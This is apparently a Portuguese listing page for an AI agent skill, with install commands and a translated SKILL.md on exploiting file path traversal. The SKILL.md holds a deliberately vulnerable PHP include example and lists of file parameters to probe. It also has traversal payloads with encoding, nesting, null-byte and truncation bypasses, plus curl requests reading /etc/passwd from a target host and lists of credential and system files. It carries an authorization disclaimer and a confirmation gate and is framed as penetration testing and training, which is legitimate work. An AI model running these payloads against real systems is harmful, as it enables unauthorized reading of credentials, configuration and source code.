file-path-traversal
Identifica falhas de segurança que permitem ler arquivos sensíveis no servidor. Ajuda a encontrar e corrigir vulnerabilidades. Essencial para proteger dados e código.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar uma falha de segurança chamada 'path traversal'. Essa falha permite que um invasor leia arquivos que não deveria ter acesso no servidor, como senhas ou códigos.
Quando usar
- ✓Ao testar a segurança de um site ou aplicação.
- ✓Para verificar se um site está protegido contra leitura de arquivos não autorizada.
- ✓Em treinamentos de segurança para entender como essa falha funciona.
Exemplo do que pedir para a IA
“Verifique se o site 'exemplo.com' permite ler o arquivo '/etc/passwd' usando path traversal.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta acessar arquivos no servidor usando sequências como '../' para sair de pastas esperadas. Ela testa diferentes combinações para ver se consegue ler arquivos sensíveis.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill file-path-traversalOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/file-path-traversal/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Portão de confirmação obrigatório Antes de qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo, solicite o URL, IP, conta ou recurso exato do alvo e a confirmação de autorização por escrito e escopo permitido. Mostre o(s) comando(s) exato(s), explique seu efeito esperado e aguarde a confirmação explícita na conversa atual. Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
Teste de Travessia de Caminho de Arquivo
Propósito
Identificar e explorar vulnerabilidades de travessia de caminho de arquivo (travessia de diretório) que permitem que atacantes leiam arquivos arbitrários no servidor, potencialmente incluindo arquivos de configuração sensíveis, credenciais e código-fonte. Essa vulnerabilidade ocorre quando a entrada controlável pelo usuário é passada para APIs do sistema de arquivos sem validação adequada.
Pré-requisitos
Ferramentas Necessárias
- Navegador web com ferramentas de desenvolvedor
- Burp Suite ou OWASP ZAP
- cURL para testar payloads
- Wordlists para automação
- ffuf ou wfuzz para fuzzing
Conhecimento Necessário
- Estrutura de requisição/resposta HTTP
- Layout do sistema de arquivos Linux e Windows
- Arquitetura de aplicações web
- Compreensão básica de APIs de arquivo
Saídas e Entregáveis
- Relatório de Vulnerabilidade - Pontos de travessia identificados e severidade
- Prova de Exploração - Conteúdo de arquivo extraído
- Avaliação de Impacto - Arquivos acessíveis e exposição de dados
- Orientação de Remediação - Recomendações de codificação segura
Fluxo de Trabalho Principal
Fase 1: Entendendo a Travessia de Caminho
A travessia de caminho ocorre quando aplicações usam a entrada do usuário para construir caminhos de arquivo:
// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
$template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);
Princípio de ataque:
- A sequência
../move para um diretório acima - Encadear múltiplas sequências para alcançar a raiz
- Acessar arquivos fora do diretório pretendido
Impacto:
- Confidencialidade - Ler arquivos sensíveis
- Integridade - Escrever/modificar arquivos (em alguns casos)
- Disponibilidade - Excluir arquivos (em alguns casos)
- Execução de Código - Se combinado com upload de arquivo ou envenenamento de log
Fase 2: Identificando Pontos de Travessia
Mapear a aplicação para operações de arquivo potenciais:
# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=
Funcionalidades vulneráveis comuns:
- Carregamento de imagens:
/image?filename=23.jpg - Seleção de template:
?template=blue.php - Downloads de arquivo:
/download?file=report.pdf - Visualizadores de documentos:
/view?doc=manual.pdf - Mecanismos de inclusão:
?page=about
Fase 3: Técnicas Básicas de Exploração
Travessia de Caminho Simples
# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts
# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd # Double encoding
# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"
Injeção de Caminho Absoluto
# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
Fase 4: Técnicas de Bypass
Bypass de Sequências de Travessia Removidas
# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd
# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Bypass de Validação de Extensão
# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
# Path truncation
../../../etc/passwd...............................
# Double extension
../../../etc/passwd.jpg.php
…
Perguntas frequentes
O que é 'path traversal'?
É uma falha de segurança onde um atacante consegue acessar arquivos fora da pasta permitida em um servidor, usando sequências como '../' para 'subir' na estrutura de pastas.
Quais arquivos um atacante pode ler?
Dependendo do acesso, pode ler arquivos de configuração, senhas, código-fonte da aplicação, logs, ou outros dados sensíveis armazenados no servidor.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter permissão explícita e por escrito do dono do sistema antes de usar esta ferramenta. O uso sem autorização é ilegal.
Detalhes
Descrição original do autor
Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code.
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #2998
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC